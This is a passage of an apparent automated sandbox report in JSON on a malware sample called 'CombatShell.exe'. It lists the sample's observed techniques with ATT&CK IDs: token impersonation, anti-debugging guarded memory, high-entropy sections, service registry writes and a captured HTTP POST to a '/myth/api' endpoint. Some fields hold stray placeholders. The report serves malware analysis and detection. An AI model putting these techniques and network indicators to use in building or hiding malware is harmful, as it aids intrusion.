00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1070.004","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/004","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-426","type":2,"relevance":1,"name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"CombatShell.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"CombatShell.exe\")","Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1222","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1222","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-402","type":2,"relevance":1,"name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"CombatShell.exe\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"CombatShell.exe\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"CombatShell.exe\")","Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"CombatShell.exe\")","Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-132","type":2,"relevance":1,"name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"CombatShell.exe\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"CombatShell.exe\")","Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1098","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1098","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-114","type":2,"relevance":1,"name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$4a","description_v2":["Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; File: \"CombatShell.exe\")","Found reference to API \"ImpersonateAnonymousToken\" (Indicator: \"ImpersonateAnonymousToken\"; File: \"CombatShell.exe\")","Found reference to API \"DuplicateToken\" (Indicator: \"DuplicateToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"ImpersonateAnonymousToken\" (Indicator: \"ImpersonateAnonymousToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ImpersonateAnonymousToken\" (Indicator: \"ImpersonateAnonymousToken\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"DuplicateToken\" (Indicator: \"DuplicateToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ImpersonateAnonymousToken\" (Indicator: \"ImpersonateAnonymousToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1134.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-406","type":2,"relevance":1,"name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: CombatShell.exe\n Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00005644.00000001.288725.81353000.00000002.mdmp\n 00000000-00005644.00000002.290644.3A439000.00000002.mdmp","description_v2":["Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: CombatShell.exe","Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00005644.00000001.288725.81353000.00000002.mdmp","00000000-00005644.00000002.290644.3A439000.00000002.mdmp"],"description_v3":[{"type":"text","value":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: CombatShell.exe"},{"type":"linebreak"},{"type":"text","value":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00005644.00000001.288725.81353000.00000002.mdmp"},{"type":"linebreak"},{"type":"text","value":"00000000-00005644.00000002.290644.3A439000.00000002.mdmp"}],"origin":"File/Memory","attck_id":"T1529","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1529","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-316","type":2,"relevance":1,"name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"CombatShell.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"CombatShell.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"CombatShell.exe\")","Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"CombatShell.exe\")","Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1489","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1489","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-535","type":2,"relevance":0,"name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"CombatShell.exe\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"CombatShell.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"CombatShell.exe\")","Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"CombatShell.exe\")","Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1105","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1105","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"registry-67","type":3,"relevance":10,"name":"Creates or modifies windows services","description":"\"CombatShell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","description_v2":["\"CombatShell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")"}],"origin":"Registry Access","attck_id":"T1543.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"static-87","type":0,"relevance":1,"name":"Imports system security related APIs","description":"Observed import api \"ImpersonateAnonymousToken\" which can \"enable the specified thread to impersonate the system's anonymous logon token\" [Source: CombatShell.exe]\n Observed import api \"RevertToSelf\" which can \"terminate the impersonation of a client application\" [Source: CombatShell.exe]","description_v2":["Observed import api \"ImpersonateAnonymousToken\" which can \"enable the specified thread to impersonate the system's anonymous logon token\" [Source: CombatShell.exe]","Observed import api \"RevertToSelf\" which can \"terminate the impersonation of a client application\" [Source: CombatShell.exe]"],"description_v3":[{"type":"text","value":"Observed import api \"ImpersonateAnonymousToken\" which can \"enable the specified thread to impersonate the system's anonymous logon token\" [Source: CombatShell.exe]"},{"type":"linebreak"},{"type":"text","value":"Observed import api \"RevertToSelf\" which can \"terminate the impersonation of a client application\" [Source: CombatShell.exe]"}],"origin":"Static Parser","attck_id":"T1134.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"registry-173","type":3,"relevance":1,"name":"Queries services related registry keys","description":"$4b","description_v2":["\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\"; Key: \"WINSOCK_REGISTRY_VERSION\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\"; Key: \"NAMESPACE_CALLOUT\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"NEXT_CATALOG_ENTRY_ID\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"NUM_CATALOG_ENTRIES64\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000001\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000002\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000003\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000004\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000005\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000006\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000007\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")","\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000008\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"SERIAL_ACCESS_NUM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\"; Key: \"WINSOCK_REGISTRY_VERSION\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\"; Key: \"NAMESPACE_CALLOUT\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"NEXT_CATALOG_ENTRY_ID\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\"; Key: \"NUM_CATALOG_ENTRIES64\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000001\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000002\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000003\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000004\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000005\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000006\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000007\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\PROTOCOL_CATALOG9\\CATALOG_ENTRIES64\\000000000008\"; Key: \"PACKEDCATALOGITEM\"; Value: \"\")"}],"origin":"Registry Access","attck_id":"T1007","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1007","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"string-354","type":2,"relevance":1,"name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"string-23","type":2,"relevance":2,"name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp, Indicator: \"key.com\")","description_v2":["\".getmicrosoftkey.com1&0\" (Source: 00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp, Indicator: \"key.com\")"],"description_v3":[{"type":"text","value":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp, Indicator: \"key.com\")"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"api-1","type":6,"relevance":10,"name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"CombatShell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5644)","description_v2":["\"CombatShell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5644)"}],"origin":"API Call","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"static-6","type":0,"relevance":1,"name":"Section contains high entropy","description":"\"CombatShell.exe\" has section name .rdata with entropy \"7.963639977060777\"\n \"CombatShell.exe\" has section name .pdata with entropy \"6.700660570800874\"","description_v2":["\"CombatShell.exe\" has section name .rdata with entropy \"7.963639977060777\"","\"CombatShell.exe\" has section name .pdata with entropy \"6.700660570800874\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" has section name .rdata with entropy \"7.963639977060777\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" has section name .pdata with entropy \"6.700660570800874\""}],"origin":"Static Parser","attck_id":"T1027.009","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/009","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"network-4","type":7,"relevance":5,"name":"POSTs data to a webserver","description":"$4c","description_v2":["\"POST /myth/api HTTP/1.1","key: myth-e8552bc3-d60a","content-type: application/octet-stream","content-length: 5682","accept: */*","$4d","Date: Sun","29 Jun 2025 13:58:16 GMT","Content-Type: application/json","Content-Length: 36","Connection: keep-alive","Nel: {\"report_to\":\"cf-nel\"","\"success_fraction\":0.0","\"max_age\":604800}","Cf-Cache-Status: DYNAMIC","Report-To: {\"group\":\"cf-nel\"","\"max_age\":604800","\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=run%2FX2zNNc5eunIzlWFinWy%2FfhGoEnAbDB10eqbZXO%2FWB3hSAN4CnMtNZBg6sVegxf%2BAeFS9%2B92yNCIYWJ1IE4okELDemTHiQH31p1JqCA%3D%3D\"}]}","Server: cloudflare","CF-RAY: 9575f00cbb18face-SJC","alt-svc: h3=\":443\"; ma=86400 with response body ==>37623A32323A37333A37353A36333A36333A36353A37333A37333A32323A33613A37343A37323A37353A36353A32633A32323A36643A36353A37333A37333A36......."],"description_v3":[{"type":"text","value":"\"POST /myth/api HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"key: myth-e8552bc3-d60a"},{"type":"linebreak"},{"type":"text","value":"content-type: application/octet-stream"},{"type":"linebreak"},{"type":"text","value":"content-length: 5682"},{"type":"linebreak"},{"type":"text","value":"accept: */*"},{"type":"linebreak"},{"type":"text","value":"$4e"},{"type":"linebreak"},{"type":"text","value":"Date: Sun"},{"type":"linebreak"},{"type":"text","value":"29 Jun 2025 13:58:16 GMT"},{"type":"linebreak"},{"type":"text","value":"Content-Type: application/json"},{"type":"linebreak"},{"type":"text","value":"Content-Length: 36"},{"type":"linebreak"},{"type":"text","value":"Connection: keep-alive"},{"type":"linebreak"},{"type":"text","value":"Nel: {\"report_to\":\"cf-nel\""},{"type":"linebreak"},{"type":"text","value":"\"success_fraction\":0.0"},{"type":"linebreak"},{"type":"text","value":"\"max_age\":604800}"},{"type":"linebreak"},{"type":"text","value":"Cf-Cache-Status: DYNAMIC"},{"type":"linebreak"},{"type":"text","value":"Report-To: 